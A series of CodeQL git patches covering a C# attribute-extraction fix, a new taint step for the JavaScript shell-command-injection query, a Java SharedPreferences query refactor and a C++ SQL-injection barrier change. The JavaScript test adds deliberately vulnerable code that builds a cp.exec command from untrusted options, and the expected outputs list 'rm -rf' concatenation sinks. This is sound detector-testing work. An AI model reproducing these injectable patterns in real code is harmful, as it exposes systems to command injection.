M2 -# 58| -1: [TypeMention] Void +# 59| 7: [Method] M2 +# 59| -1: [TypeMention] Void #-----| 0: (Attributes) # 57| 1: [Attribute] [My(...)] # 57| -1: [TypeMention] MyAttribute # 57| 0: [BoolLiteral] true # 57| 1: [StringLiteral] "" # 57| 2: [IntLiteral] 0 -# 58| 4: [BlockStmt] {...} -# 61| [Class] MyAttribute +# 58| 2: [Attribute] [My2(...)] +# 58| -1: [TypeMention] My2Attribute +# 58| 0: [BoolLiteral] true +# 58| 1: [BoolLiteral] false +# 58| 3: [IntLiteral] 42 +# 59| 4: [BlockStmt] {...} +# 62| [Class] MyAttribute #-----| 3: (Base types) -# 61| 0: [TypeMention] Attribute -# 63| 4: [Field] x -# 63| -1: [TypeMention] int -# 64| 5: [IndexerProperty] y -# 64| -1: [TypeMention] string -# 64| 3: [Getter] get_y -# 64| 4: [Setter] set_y +# 62| 0: [TypeMention] Attribute +# 64| 4: [Field] x +# 64| -1: [TypeMention] int +# 65| 5: [IndexerProperty] y +# 65| -1: [TypeMention] string +# 65| 3: [Getter] get_y +# 65| 4: [Setter] set_y #-----| 2: (Parameters) -# 64| 0: [Parameter] value -# 65| 6: [InstanceConstructor] MyAttribute +# 65| 0: [Parameter] value +# 66| 6: [InstanceConstructor] MyAttribute #-----| 2: (Parameters) -# 65| 0: [Parameter] b -# 65| -1: [TypeMention] bool -# 65| 4: [BlockStmt] {...} -# 68| [Enum] E -# 68| 5: [Field] A -# 68| 1: [AssignExpr] ... = ... -# 68| 0: [MemberConstantAccess] access to constant A -# 68| 1: [IntLiteral] 42 -# 70| [Class] ArgsAttribute +# 66| 0: [Parameter] b +# 66| -1: [TypeMention] bool +# 66| 4: [BlockStmt] {...} +# 69| [Enum] E +# 69| 5: [Field] A +# 69| 1: [AssignExpr] ... = ... +# 69| 0: [MemberConstantAccess] access to constant A +# 69| 1: [IntLiteral] 42 +# 71| [Class] ArgsAttribute #-----| 3: (Base types) -# 70| 0: [TypeMention] Attribute -# 72| 4: [Property] Prop -# 72| -1: [TypeMention] Object[] -# 72| 1: [TypeMention] object -# 72| 3: [Getter] get_Prop -# 72| 4: [Setter] set_Prop +# 71| 0: [TypeMention] Attribute +# 73| 4: [Property] Prop +# 73| -1: [TypeMention] Object[] +# 73| 1: [TypeMention] object +# 73| 3: [Getter] get_Prop +# 73| 4: [Setter] set_Prop #-----| 2: (Parameters) -# 72| 0: [Parameter] value -# 73| 5: [InstanceConstructor] ArgsAttribute +# 73| 0: [Parameter] value +# 74| 5: [InstanceConstructor] ArgsAttribute #-----| 2: (Parameters) -# 73| 0: [Parameter] i -# 73| -1: [TypeMention] int -# 73| 1: [Parameter] o -# 73| -1: [TypeMention] object -# 73| 2: [Parameter] t -# 73| -1: [TypeMention] Type -# 73| 3: [Parameter] e -# 73| -1: [TypeMention] E -# 73| 4: [Parameter] arr -# 73| -1: [TypeMention] Int32[] -# 73| 1: [TypeMention] int -# 73| 4: [BlockStmt] {...} -# 77| [Class] X +# 74| 0: [Parameter] i +# 74| -1: [TypeMention] int +# 74| 1: [Parameter] o +# 74| -1: [TypeMention] object +# 74| 2: [Parameter] t +# 74| -1: [TypeMention] Type +# 74| 3: [Parameter] e +# 74| -1: [TypeMention] E +# 74| 4: [Parameter] arr +# 74| -1: [TypeMention] Int32[] +# 74| 1: [TypeMention] int +# 74| 4: [BlockStmt] {...} +# 78| [Class] X #-----| 0: (Attributes) -# 76| 1: [Attribute] [Args(...)] -# 76| -1: [TypeMention] ArgsAttribute -# 76| 0: [IntLiteral] 42 -# 76| 1: [NullLiteral] null -# 76| 2: [TypeofExpr] typeof(...) -# 76| 0: [TypeAccess] access to type X -# 76| 0: [TypeMention] X -# 76| 3: [MemberConstantAccess] access to constant A -# 76| -1: [TypeAccess] access to type E -# 76| 0: [TypeMention] E -# 76| 4: [ArrayCreation] array creation of type Int32[] -# 76| -2: [TypeMention] Int32[] -# 76| 1: [TypeMention] int -# 76| -1: [ArrayInitializer] { ..., ... } -# 76| 0: [IntLiteral] 1 -# 76| 1: [IntLiteral] 2 -# 76| 2: [IntLiteral] 3 -# 76| 5: [ArrayCreation] array creation of type Object[] -# 76| -2: [TypeMention] Object[] -# 76| 1: [TypeMention] object -# 76| -1: [ArrayInitializer] { ..., ... } -# 76| 0: [CastExpr] (...) ... -# 76| 1: [IntLiteral] 1 -# 76| 1: [TypeofExpr] typeof(...) -# 76| 0: [TypeAccess] access to type Int32 -# 76| 0: [TypeMention] int -# 81| 5: [Method] SomeMethod -# 81| -1: [TypeMention] int +# 77| 1: [Attribute] [Args(...)] +# 77| -1: [TypeMention] ArgsAttribute +# 77| 0: [IntLiteral] 42 +# 77| 1: [NullLiteral] null +# 77| 2: [TypeofExpr] typeof(...) +# 77| 0: [TypeAccess] access to type X +# 77| 0: [TypeMention] X +# 77| 3: [MemberConstantAccess] access to constant A +# 77| -1: [TypeAccess] access to type E +# 77| 0: [TypeMention] E +# 77| 4: [ArrayCreation] array creation of type Int32[] +# 77| -2: [TypeMention] Int32[] +# 77| 1: [TypeMention] int +# 77| -1: [ArrayInitializer] { ..., ... } +# 77| 0: [IntLiteral] 1 +# 77| 1: [IntLiteral] 2 +# 77| 2: [IntLiteral] 3 +# 77| 5: [ArrayCreation] array creation of type Object[] +# 77| -2: [TypeMention] Object[] +# 77| 1: [TypeMention] object +# 77| -1: [ArrayInitializer] { ..., ... } +# 77| 0: [CastExpr] (...) ... +# 77| 1: [IntLiteral] 1 +# 77| 1: [TypeofExpr] typeof(...) +# 77| 0: [TypeAccess] access to type Int32 +# 77| 0: [TypeMention] int +# 82| 5: [Method] SomeMethod +# 82| -1: [TypeMention] int #-----| 0: (Attributes) -# 79| 1: [Attribute] [Args(...)] -# 79| -1: [TypeMention] ArgsAttribute -# 79| 0: [AddExpr] ... + ... -# 79| 0: [IntLiteral] 42 -# 79| 1: [IntLiteral] 0 -# 79| 1: [ArrayCreation] array creation of type Int32[] -# 79| -2: [TypeMention] Int32[] -# 79| 1: [TypeMention] int -# 79| -1: [ArrayInitializer] { ..., ... } -# 79| 0: [IntLiteral] 1 -# 79| 1: [IntLiteral] 2 -# 79| 2: [IntLiteral] 3 -# 79| 2: [NullLiteral] null -# 79| 3: [CastExpr] (...) ... -# 79| 0: [TypeAccess] access to type E -# 79| 0: [TypeMention] E -# 79| 1: [IntLiteral] 12 -# 79| 4: [NullLiteral] null -# 79| 5: [ArrayCreation] array creation of type Object[] -# 79| -2: [TypeMention] Object[] -# 79| 1: [TypeMention] object -# 79| -1: [ArrayInitializer] { ..., ... } -# 79| 0: [CastExpr] (...) ... -# 79| 1: [IntLiteral] 1 -# 79| 1: [TypeofExpr] typeof(...) -# 79| 0: [TypeAccess] access to type Int32 -# 79| 0: [TypeMention] int -# 81| 4: [BlockStmt] {...} -# 81| 0: [ReturnStmt] return ...; -# 81| 0: [IntLiteral] 1 +# 80| 1: [Attribute] [Args(...)] +# 80| -1: [TypeMention] ArgsAttribute +# 80| 0: [AddExpr] ... + ... +# 80| 0: [IntLiteral] 42 +# 80| 1: [IntLiteral] 0 +# 80| 1: [ArrayCreation] array creation of type Int32[] +# 80| -2: [TypeMention] Int32[] +# 80| 1: [TypeMention] int +# 80| -1: [ArrayInitializer] { ..., ... } +# 80| 0: [IntLiteral] 1 +# 80| 1: [IntLiteral] 2 +# 80| 2: [IntLiteral] 3 +# 80| 2: [NullLiteral] null +# 80| 3: [CastExpr] (...) ... +# 80| 0: [TypeAccess] access to type E +# 80| 0: [TypeMention] E +# 80| 1: [IntLiteral] 12 +# 80| 4: [NullLiteral] null +# 80| 5: [ArrayCreation] array creation of type Object[] +# 80| -2: [TypeMention] Object[] +# 80| 1: [TypeMention] object +# 80| -1: [ArrayInitializer] { ..., ... } +# 80| 0: [CastExpr] (...) ... +# 80| 1: [IntLiteral] 1 +# 80| 1: [TypeofExpr] typeof(...) +# 80| 0: [TypeAccess] access to type Int32 +# 80| 0: [TypeMention] int +# 82| 4: [BlockStmt] {...} +# 82| 0: [ReturnStmt] return ...; +# 82| 0: [IntLiteral] 1 +# 85| [Class] My2Attribute +#-----| 3: (Base types) +# 85| 0: [TypeMention] Attribute +# 87| 4: [Property] X +# 87| -1: [TypeMention] int +# 87| 3: [Getter] get_X +# 87| 4: [Setter] set_X +#-----| 2: (Parameters) +# 87| 0: [Parameter] value +# 88| 5: [InstanceConstructor] My2Attribute +#-----| 2: (Parameters) +# 88| 0: [Parameter] a +# 88| -1: [TypeMention] bool +# 88| 1: [Parameter] b +# 88| -1: [TypeMention] bool +# 88| 2: [Parameter] i +# 88| -1: [TypeMention] int +# 88| 1: [IntLiteral] 12 +# 88| 4: [BlockStmt] {...} diff --git a/csharp/ql/test/library-tests/attributes/attributes.cs b/csharp/ql/test/library-tests/attributes/attributes.cs index 9fce3449109..12b5e40e978 100644 --- a/csharp/ql/test/library-tests/attributes/attributes.cs +++ b/csharp/ql/test/library-tests/attributes/attributes.cs @@ -55,6 +55,7 @@ class Bar void M1() { } [MyAttribute(true, y = "", x = 0)] + [My2(true, false, X = 42)] void M2() { } } @@ -80,3 +81,9 @@ public class X [return: Args(42 + 0, new int[] { 1, 2, 3 }, null, (E)12, null, Prop = new object[] { 1, typeof(int) })] int SomeMethod() { return 1; } } + +class My2Attribute : Attribute +{ + public int X { get; set; } + public My2Attribute(bool a, bool b, int i = 12) { } +} \ No newline at end of file From 04074c425b9cea45b02b28d18a7fe62c26d07b15 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 4 Jan 2021 14:30:49 +0100 Subject: [PATCH 0438/1241] C#: Fix named attribute argument extraction --- .../Entities/Attribute.cs | 15 +++++++++++---- .../attributes/AttributeArguments.expected | 14 ++++++++------ .../library-tests/attributes/PrintAst.expected | 10 +++++++--- .../test/library-tests/attributes/attributes.cs | 4 ++-- 4 files changed, 28 insertions(+), 15 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Attribute.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Attribute.cs index 159bcec5a30..9fef80b383a 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Attribute.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Attribute.cs @@ -69,11 +69,18 @@ namespace Semmle.Extraction.CSharp.Entities var ctorArguments = attributeSyntax?.ArgumentList?.Arguments.Where(a => a.NameEquals == null).ToList(); var childIndex = 0; - foreach (var constructorArgument in symbol.ConstructorArguments) + for (var i = 0; i < symbol.ConstructorArguments.Length; i++) { - var argSyntax = ctorArguments?.Count > childIndex - ? ctorArguments[childIndex] - : null; + var constructorArgument = symbol.ConstructorArguments[i]; + var paramName = symbol.AttributeConstructor?.Parameters[i].Name; + var argSyntax = ctorArguments?.SingleOrDefault(a => a.NameColon != null && a.NameColon.Name.Identifier.Text == paramName); + + if (argSyntax == null && // couldn't find named argument + ctorArguments?.Count > childIndex && // there're more arguments + ctorArguments[childIndex].NameColon == null) // the argument is positional + { + argSyntax = ctorArguments[childIndex]; + } CreateExpressionFromArgument( constructorArgument, diff --git a/csharp/ql/test/library-tests/attributes/AttributeArguments.expected b/csharp/ql/test/library-tests/attributes/AttributeArguments.expected index a22b4a7b32f..22bd3b71cda 100644 --- a/csharp/ql/test/library-tests/attributes/AttributeArguments.expected +++ b/csharp/ql/test/library-tests/attributes/AttributeArguments.expected @@ -47,10 +47,11 @@ arguments | attributes.cs:57:6:57:16 | [My(...)] | 0 | attributes.cs:57:18:57:21 | true | | attributes.cs:57:6:57:16 | [My(...)] | 1 | attributes.cs:57:28:57:29 | "" | | attributes.cs:57:6:57:16 | [My(...)] | 2 | attributes.cs:57:36:57:36 | 0 | -| attributes.cs:58:6:58:8 | [My2(...)] | 0 | attributes.cs:58:10:58:13 | true | -| attributes.cs:58:6:58:8 | [My2(...)] | 1 | attributes.cs:58:16:58:20 | false | +| attributes.cs:58:6:58:8 | [My2(...)] | 0 | attributes.cs:58:28:58:32 | false | +| attributes.cs:58:6:58:8 | [My2(...)] | 1 | attributes.cs:58:13:58:16 | true | | attributes.cs:58:6:58:8 | [My2(...)] | 2 | attributes.cs:58:6:58:8 | 12 | -| attributes.cs:58:6:58:8 | [My2(...)] | 3 | attributes.cs:58:27:58:28 | 42 | +| attributes.cs:58:6:58:8 | [My2(...)] | 3 | attributes.cs:58:22:58:22 | 1 | +| attributes.cs:58:6:58:8 | [My2(...)] | 4 | attributes.cs:58:39:58:40 | 42 | | attributes.cs:77:2:77:5 | [Args(...)] | 0 | attributes.cs:77:7:77:8 | 42 | | attributes.cs:77:2:77:5 | [Args(...)] | 1 | attributes.cs:77:11:77:14 | null | | attributes.cs:77:2:77:5 | [Args(...)] | 2 | attributes.cs:77:17:77:25 | typeof(...) | @@ -105,9 +106,10 @@ constructorArguments | attributes.cs:46:6:46:16 | [Conditional(...)] | 0 | attributes.cs:46:18:46:25 | "DEBUG2" | | attributes.cs:54:6:54:16 | [My(...)] | 0 | attributes.cs:54:18:54:22 | false | | attributes.cs:57:6:57:16 | [My(...)] | 0 | attributes.cs:57:18:57:21 | true | -| attributes.cs:58:6:58:8 | [My2(...)] | 0 | attributes.cs:58:10:58:13 | true | -| attributes.cs:58:6:58:8 | [My2(...)] | 1 | attributes.cs:58:16:58:20 | false | +| attributes.cs:58:6:58:8 | [My2(...)] | 0 | attributes.cs:58:28:58:32 | false | +| attributes.cs:58:6:58:8 | [My2(...)] | 1 | attributes.cs:58:13:58:16 | true | | attributes.cs:58:6:58:8 | [My2(...)] | 2 | attributes.cs:58:6:58:8 | 12 | +| attributes.cs:58:6:58:8 | [My2(...)] | 3 | attributes.cs:58:22:58:22 | 1 | | attributes.cs:77:2:77:5 | [Args(...)] | 0 | attributes.cs:77:7:77:8 | 42 | | attributes.cs:77:2:77:5 | [Args(...)] | 1 | attributes.cs:77:11:77:14 | null | | attributes.cs:77:2:77:5 | [Args(...)] | 2 | attributes.cs:77:17:77:25 | typeof(...) | @@ -126,6 +128,6 @@ namedArguments | attributes.cs:41:10:41:13 | [Args(...)] | Prop | attributes.cs:41:90:41:120 | array creation of type Object[] | | attributes.cs:57:6:57:16 | [My(...)] | x | attributes.cs:57:36:57:36 | 0 | | attributes.cs:57:6:57:16 | [My(...)] | y | attributes.cs:57:28:57:29 | "" | -| attributes.cs:58:6:58:8 | [My2(...)] | X | attributes.cs:58:27:58:28 | 42 | +| attributes.cs:58:6:58:8 | [My2(...)] | X | attributes.cs:58:39:58:40 | 42 | | attributes.cs:77:2:77:5 | [Args(...)] | Prop | attributes.cs:77:63:77:93 | array creation of type Object[] | | attributes.cs:80:6:80:9 | [Args(...)] | Prop | attributes.cs:80:68:80:98 | array creation of type Object[] | diff --git a/csharp/ql/test/library-tests/attributes/PrintAst.expected b/csharp/ql/test/library-tests/attributes/PrintAst.expected index 7b6abd8bf88..ced11c7d245 100644 --- a/csharp/ql/test/library-tests/attributes/PrintAst.expected +++ b/csharp/ql/test/library-tests/attributes/PrintAst.expected @@ -140,9 +140,10 @@ attributes.cs: # 57| 2: [IntLiteral] 0 # 58| 2: [Attribute] [My2(...)] # 58| -1: [TypeMention] My2Attribute -# 58| 0: [BoolLiteral] true -# 58| 1: [BoolLiteral] false -# 58| 3: [IntLiteral] 42 +# 58| 0: [BoolLiteral] false +# 58| 1: [BoolLiteral] true +# 58| 3: [IntLiteral] 1 +# 58| 4: [IntLiteral] 42 # 59| 4: [BlockStmt] {...} # 62| [Class] MyAttribute #-----| 3: (Base types) @@ -268,4 +269,7 @@ attributes.cs: # 88| 2: [Parameter] i # 88| -1: [TypeMention] int # 88| 1: [IntLiteral] 12 +# 88| 3: [Parameter] j +# 88| -1: [TypeMention] int +# 88| 1: [IntLiteral] 13 # 88| 4: [BlockStmt] {...} diff --git a/csharp/ql/test/library-tests/attributes/attributes.cs b/csharp/ql/test/library-tests/attributes/attributes.cs index 12b5e40e978..7f03eb9c941 100644 --- a/csharp/ql/test/library-tests/attributes/attributes.cs +++ b/csharp/ql/test/library-tests/attributes/attributes.cs @@ -55,7 +55,7 @@ class Bar void M1() { } [MyAttribute(true, y = "", x = 0)] - [My2(true, false, X = 42)] + [My2(b: true, j: 1, a: false, X = 42)] void M2() { } } @@ -85,5 +85,5 @@ public class X class My2Attribute : Attribute { public int X { get; set; } - public My2Attribute(bool a, bool b, int i = 12) { } + public My2Attribute(bool a, bool b, int i = 12, int j = 13) { } } \ No newline at end of file From f1cee70e82be6da14a6d28a0a7a7fcb1acf54c2c Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Wed, 6 Jan 2021 14:30:24 +0100 Subject: [PATCH 0439/1241] add class-field flowstep to js/shell-command-constructed-from-input --- .../dataflow/UnsafeShellCommandConstruction.qll | 10 ++++++++++ .../UnsafeShellCommandConstruction.expected | 12 ++++++++++++ .../test/query-tests/Security/CWE-078/lib/lib.js | 14 +++++++++++++- 3 files changed, 35 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstruction.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstruction.qll index 2e455755eea..90caf59ad33 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstruction.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstruction.qll @@ -41,5 +41,15 @@ module UnsafeShellCommandConstruction { mid.getPathSummary().hasReturn() = false ) } + + override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) { + // flow-step from a property written in the constructor to a use in an instance method. + // "simulates" client usage of a class, and regains some flow-steps lost by `hasFlowPath` above. + exists(DataFlow::ClassNode clz, string name | + pred = + DataFlow::thisNode(clz.getConstructor().getFunction()).getAPropertyWrite(name).getRhs() and + succ = DataFlow::thisNode(clz.getInstanceMethod(_).getFunction()).getAPropertyRead(name) + ) + } } } diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction.expected b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction.expected index 7e68d72272e..6833fbf405d 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction.expected @@ -195,6 +195,12 @@ nodes | lib/lib.js:343:29:343:34 | unsafe | | lib/lib.js:345:22:345:27 | unsafe | | lib/lib.js:345:22:345:27 | unsafe | +| lib/lib.js:354:20:354:23 | opts | +| lib/lib.js:354:20:354:23 | opts | +| lib/lib.js:355:20:355:23 | opts | +| lib/lib.js:355:20:355:34 | opts.learn_args | +| lib/lib.js:360:28:360:42 | this.learn_args | +| lib/lib.js:360:28:360:42 | this.learn_args | edges | lib/lib2.js:3:28:3:31 | name | lib/lib2.js:4:22:4:25 | name | | lib/lib2.js:3:28:3:31 | name | lib/lib2.js:4:22:4:25 | name | @@ -425,6 +431,11 @@ edges | lib/lib.js:343:29:343:34 | unsafe | lib/lib.js:345:22:345:27 | unsafe | | lib/lib.js:343:29:343:34 | unsafe | lib/lib.js:345:22:345:27 | unsafe | | lib/lib.js:343:29:343:34 | unsafe | lib/lib.js:345:22:345:27 | unsafe | +| lib/lib.js:354:20:354:23 | opts | lib/lib.js:355:20:355:23 | opts | +| lib/lib.js:354:20:354:23 | opts | lib/lib.js:355:20:355:23 | opts | +| lib/lib.js:355:20:355:23 | opts | lib/lib.js:355:20:355:34 | opts.learn_args | +| lib/lib.js:355:20:355:34 | opts.learn_args | lib/lib.js:360:28:360:42 | this.learn_args | +| lib/lib.js:355:20:355:34 | opts.learn_args | lib/lib.js:360:28:360:42 | this.learn_args | #select | lib/lib2.js:4:10:4:25 | "rm -rf " + name | lib/lib2.js:3:28:3:31 | name | lib/lib2.js:4:22:4:25 | name | $@ based on library input is later used in $@. | lib/lib2.js:4:10:4:25 | "rm -rf " + name | String concatenation | lib/lib2.js:4:2:4:26 | cp.exec ... + name) | shell command | | lib/lib2.js:8:10:8:25 | "rm -rf " + name | lib/lib2.js:7:32:7:35 | name | lib/lib2.js:8:22:8:25 | name | $@ based on library input is later used in $@. | lib/lib2.js:8:10:8:25 | "rm -rf " + name | String concatenation | lib/lib2.js:8:2:8:26 | cp.exec ... + name) | shell command | @@ -481,3 +492,4 @@ edges | lib/lib.js:325:12:325:51 | "MyWind ... " + arg | lib/lib.js:324:40:324:42 | arg | lib/lib.js:325:49:325:51 | arg | $@ based on library input is later used in $@. | lib/lib.js:325:12:325:51 | "MyWind ... " + arg | String concatenation | lib/lib.js:326:2:326:13 | cp.exec(cmd) | shell command | | lib/lib.js:340:10:340:26 | "rm -rf " + id(n) | lib/lib.js:339:39:339:39 | n | lib/lib.js:340:22:340:26 | id(n) | $@ based on library input is later used in $@. | lib/lib.js:340:10:340:26 | "rm -rf " + id(n) | String concatenation | lib/lib.js:340:2:340:27 | cp.exec ... id(n)) | shell command | | lib/lib.js:345:10:345:27 | "rm -rf " + unsafe | lib/lib.js:343:29:343:34 | unsafe | lib/lib.js:345:22:345:27 | unsafe | $@ based on library input is later used in $@. | lib/lib.js:345:10:345:27 | "rm -rf " + unsafe | String concatenation | lib/lib.js:345:2:345:28 | cp.exec ... unsafe) | shell command | +| lib/lib.js:360:17:360:56 | "learn ... + model | lib/lib.js:354:20:354:23 | opts | lib/lib.js:360:28:360:42 | this.learn_args | $@ based on library input is later used in $@. | lib/lib.js:360:17:360:56 | "learn ... + model | String concatenation | lib/lib.js:361:3:361:18 | cp.exec(command) | shell command | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js b/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js index e02b5dac975..d845dd3ed05 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js @@ -349,4 +349,16 @@ Object.defineProperty(module.exports, "boundProblem", { get: function () { return boundProblem.bind(this, "safe"); } -}); \ No newline at end of file +}); + +function MyTrainer(opts) { + this.learn_args = opts.learn_args +} + +MyTrainer.prototype = { + train: function() { + var command = "learn " + this.learn_args + " " + model; // NOT OK + cp.exec(command); + } +}; +module.exports.MyTrainer = MyTrainer; From 5690bf49f46f9cadfb99cb824338b1562a9e0831 Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Wed, 6 Jan 2021 16:21:26 +0000 Subject: [PATCH 0440/1241] Optimize the query --- .../CWE/CWE-312/CleartextStorageSharedPrefs.ql | 13 +++---------- .../java/frameworks/android/SharedPreferences.qll | 4 +++- 2 files changed, 6 insertions(+), 11 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql index e505b4fc6cd..fe463a33eb6 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql @@ -35,7 +35,7 @@ private predicate sharedPreferencesStore(DataFlow::Node sharedPrefs, Expr store) } /** Flow from `SharedPreferences` to either a setter or a store method. */ -class SharedPreferencesFlowConfig extends TaintTracking::Configuration { +class SharedPreferencesFlowConfig extends DataFlow::Configuration { SharedPreferencesFlowConfig() { this = "CleartextStorageSharedPrefs::SharedPreferencesFlowConfig" } @@ -65,7 +65,7 @@ class EncryptedValueFlowConfig extends DataFlow5::Configuration { EncryptedValueFlowConfig() { this = "CleartextStorageSharedPrefs::EncryptedValueFlowConfig" } override predicate isSource(DataFlow5::Node src) { - exists(EncryptedSensitiveMethodAccess ema | src.asExpr() = ema.getAnArgument()) + exists(EncryptedSensitiveMethodAccess ema | src.asExpr() = ema) } override predicate isSink(DataFlow5::Node sink) { @@ -74,13 +74,6 @@ class EncryptedValueFlowConfig extends DataFlow5::Configuration { sink.asExpr() = ma.getArgument(1) ) } - - override predicate isAdditionalFlowStep(DataFlow5::Node n1, DataFlow5::Node n2) { - exists(EncryptedSensitiveMethodAccess ema | - n1.asExpr() = ema.getAnArgument() and - n2.asExpr() = ema - ) - } } /** Flow from the create method of `androidx.security.crypto.EncryptedSharedPreferences` to its instance. */ @@ -109,7 +102,7 @@ class SharedPreferencesEditor extends MethodAccess { ) } - /** Gets an input, for example `input` in `editor.putString("password", password);`. */ + /** Gets an input, for example `password` in `editor.putString("password", password);`. */ Expr getAnInput() { exists(SharedPreferencesFlowConfig conf, DataFlow::Node n | sharedPreferencesInput(n, result) and diff --git a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll index 2f3a98162a0..78cea4a1386 100644 --- a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll +++ b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll @@ -1,4 +1,6 @@ -import semmle.code.java.Type +/** Provides classes related to `android.content.SharedPreferences`. */ + +import java /** Definitions related to `android.content.SharedPreferences`. */ module SharedPreferences { From f13b8814f5d00a2ae3e8826bbcce92b5c2a6c29f Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Wed, 6 Jan 2021 16:49:35 +0000 Subject: [PATCH 0441/1241] Update class/method names in the module --- .../CWE-312/CleartextStorageSharedPrefs.ql | 4 ++-- .../frameworks/android/SharedPreferences.qll | 20 +++++++++---------- 2 files changed, 11 insertions(+), 13 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql index fe463a33eb6..e82430a7464 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql @@ -83,11 +83,11 @@ private class EncryptedSharedPrefFlowConfig extends DataFlow4::Configuration { } override predicate isSource(DataFlow4::Node src) { - src.asExpr().(MethodAccess).getMethod() instanceof SharedPreferences::CreateEncryptedPrefsMethod + src.asExpr().(MethodAccess).getMethod() instanceof SharedPreferences::CreateEncryptedMethod } override predicate isSink(DataFlow4::Node sink) { - sink.asExpr().getType() instanceof SharedPreferences::TypePrefs + sink.asExpr().getType() instanceof SharedPreferences::TypeBase } } diff --git a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll index 78cea4a1386..28816eabd2d 100644 --- a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll +++ b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll @@ -5,21 +5,19 @@ import java /** Definitions related to `android.content.SharedPreferences`. */ module SharedPreferences { /** The interface `android.content.SharedPreferences` */ - class TypePrefs extends Interface { - TypePrefs() { hasQualifiedName("android.content", "SharedPreferences") } + class TypeBase extends Interface { + TypeBase() { hasQualifiedName("android.content", "SharedPreferences") } } /** The class `androidx.security.crypto.EncryptedSharedPreferences`, which implements `SharedPreferences` with encryption support. */ - class TypeEncryptedPrefs extends Class { - TypeEncryptedPrefs() { - hasQualifiedName("androidx.security.crypto", "EncryptedSharedPreferences") - } + class TypeEncrypted extends Class { + TypeEncrypted() { hasQualifiedName("androidx.security.crypto", "EncryptedSharedPreferences") } } /** The create method of `androidx.security.crypto.EncryptedSharedPreferences` */ - class CreateEncryptedPrefsMethod extends Method { - CreateEncryptedPrefsMethod() { - getDeclaringType() instanceof TypeEncryptedPrefs and + class CreateEncryptedMethod extends Method { + CreateEncryptedMethod() { + getDeclaringType() instanceof TypeEncrypted and hasName("create") } } @@ -27,7 +25,7 @@ module SharedPreferences { /** A getter method of `android.content.SharedPreferences`. */ class GetPreferenceMethod extends Method { GetPreferenceMethod() { - getDeclaringType() instanceof TypePrefs and + getDeclaringType() instanceof TypeBase and getName().matches("get%") } } @@ -35,7 +33,7 @@ module SharedPreferences { /** Returns `android.content.SharedPreferences.Editor` from the `edit` call of `android.content.SharedPreferences`. */ class GetEditorMethod extends Method { GetEditorMethod() { - getDeclaringType() instanceof TypePrefs and + getDeclaringType() instanceof TypeBase and hasName("edit") and getReturnType() instanceof TypeEditor } From b5bcbd303ea4e3312da9c00f4bf427c4bc56beed Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 6 Jan 2021 18:22:31 +0000 Subject: [PATCH 0442/1241] C++: Cleaner solution. --- cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql | 4 +++- .../semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll | 8 +++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql b/cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql index 29db32a6b87..5ed84f45250 100644 --- a/cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql +++ b/cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql @@ -28,7 +28,9 @@ class Configuration extends TaintTrackingConfiguration { exists(SQLLikeFunction runSql | runSql.outermostWrapperFunctionCall(tainted, _)) } - override predicate isAdditionalBarrier(Expr e) { e.getUnspecifiedType() instanceof IntegralType } + override predicate isBarrier(Expr e) { + super.isBarrier(e) or e.getUnspecifiedType() instanceof IntegralType + } } from diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll index 907cb628a85..23161bc4b89 100644 --- 